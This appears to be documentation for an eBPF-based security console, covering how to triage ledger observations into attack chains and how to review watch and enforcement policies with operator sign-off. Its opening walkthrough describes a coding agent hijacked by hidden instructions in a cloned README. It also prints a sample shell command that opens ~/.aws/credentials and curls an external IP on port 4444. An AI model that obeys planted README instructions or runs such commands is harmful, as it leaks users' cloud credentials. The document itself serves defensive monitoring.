Forensics & Defense·4 min read·docs/threat-investigation.md

Threat Investigation

Correlating ledger observations into MITRE ATT&CK kill chains and sealing targeted watch policies.

Interactive Guide LabMITRE ATT&CK kill-chain triage
Visual Isometric WalkthroughAI Platform & Security Engineers

Interactive Isometric Architecture Simulators

AI Agent Prompt Injection → Ring 0 eBPF Catch → Human Seal

Watch why prompt guardrails fail in Ring 3 while Tetragon eBPF + Human Seals hold at Ring 0.

Threat investigation guide →
RING 3 · AI / PROCUntrusted user spaceRING 0 · eBPFTetragon v1.8.0PQ ZERO-TRUSTML-DSA-65 + HPKEHUB · CEL & MCPGraphs & 23 toolsHUMAN SEALSHA-256 audit chainUNTRUSTED SHELL
Step 1 of 5 · Ring 3 Hijackinternal/domain/ledger/entry.go

Indirect prompt injection hijacks the coding agent

A developer AI agent clones an untrusted repo whose README contains hidden instructions. Text-level prompt filters fail; the agent spawns /bin/sh inside Ring 3.

Developer invariant · Anything running in the same LLM context as untrusted text can be manipulated. Security cannot depend on asking the model to behave.
Observed Ring 3 process spawn
parent: coding-agent (pid 4182)
child:  /bin/sh -c "python3 -c 'open("~/.aws/credentials")'"
        && curl 198.51.100.77:4444
guard:  RING 3 BYPASSED (hidden prompt inside cloned README.md)

Start in Threat signals on a live host or a recording. The view checks up to 128 recent ledger entries and displays up to 12 findings, with the sample size and the number found. An empty sample is compatible with missing hooks, event loss, older activity or activity outside the rules. Check Health and the active policy hooks before drawing a conclusion.

ObservationEvidence to inspect
Program started in a temporary directoryThe exec entry, its parent and its container. Temporary directories include /tmp, /var/tmp and /dev/shm. Installers and test runners can legitimately use them.
Temporary program followed by a TCP connect attemptThe start and a later tcp_connect observation share a host, execution ID and executable path. The hook records an attempt. A successful connection requires separate evidence.
Credential database openedA security_file_open observation names /etc/shadow or /etc/gshadow. Check the originating service. The event does not establish which bytes were read.

Exact file watches require a typed file argument whose resolution flags are clear. Tetragon also uses a path argument for mount-relative directory entries, so Ometsuke displays those paths without using them as proof of an exact file. Ledger entries stored before that proof was recorded remain readable. To ground a new file watch, use a fresh observation or reingest the original typed recording into a separate ledger.

#Follow the evidence

  1. Open the linked start or hook event. Check the time, executable, parent and available visibility warnings.
  2. Use Explain with AI to ask what the observations establish and which facts would distinguish the expected service from unexpected activity. Select the numbered references to inspect the basis for an answer.
  3. Use Draft a watch policy for additional file-open or connection observations. The target comes from the selected finding. If newer events have displaced it, refresh the list and review the evidence again.
  4. For a correlated temporary executable, choose Review response policy. Review its exact binary selector and generated YAML. Validate the draft and enter a reason to load it in watch mode. The policy detail shows whether Tetragon loaded each hook.
  5. Verify the scope using a disposable application you control. A connection from the selected executable should increase the withheld override count in monitor mode. A different executable using the same destination should leave that count unchanged. Use Audit log to inspect recorded actions and reasons.

#Scope of the prepared response

The local template matches the observed executable path at the security_socket_connect hook and declares an Override action returning EPERM. In watch mode the operation proceeds. If the policy is approved for enforcement, matching socket connect operations can be refused. Its scope includes socket families beyond the TCP observation that prompted the review. Consider other programs or containers that can execute a file at the same path.

The selector follows a path across later executions. File identity, the identity of one historical process, existing connections and traffic that never reaches this hook are outside its coverage. Availability depends on the running kernel and on the hook status reported by Tetragon. Tetragon v1.8.0 kprobe validation · Lab verification

The console keeps paths and supporting ledger entries local when asking about a selected threat. The model receives a screened question and numbered descriptions. The proposed response is generated by a local template and can be reviewed without a model credential. Models and data handling

#Operating the protection profile

Protection starts in Manual control. To follow one response policy automatically, select a managed policy with an enforce-capable action, a valid saved copy and all declared hooks attached in watch mode. Review the selectors, type the policy name and record the reason. The profile records the current load and the baseline of its withheld interventions.

Automatic monitoring armed waits for a new withheld action on that load. Earlier matches and ordinary event counts do not open a proposal. A new match opens Proposal awaiting review and records the counter change in the audit log. The selected policy stays in watch mode while you investigate. Open Review enforcement proposal to inspect the policy and use the separate operator confirmation if an actual kernel block is warranted.

A change in agent session, load identity, mode, attachment or a counter reset pauses monitoring. Review the current load before arming another profile. Disarming returns the profile to manual control. The policy detail always reports the actual kernel mode. Runtime and approval boundaries

Once an operator explicitly switches a scoped response policy to enforce, Tetragon applies that rule to subsequent matching operations while the console is closed. To stop that protection, return the policy to watch mode in Policies and check its reported mode.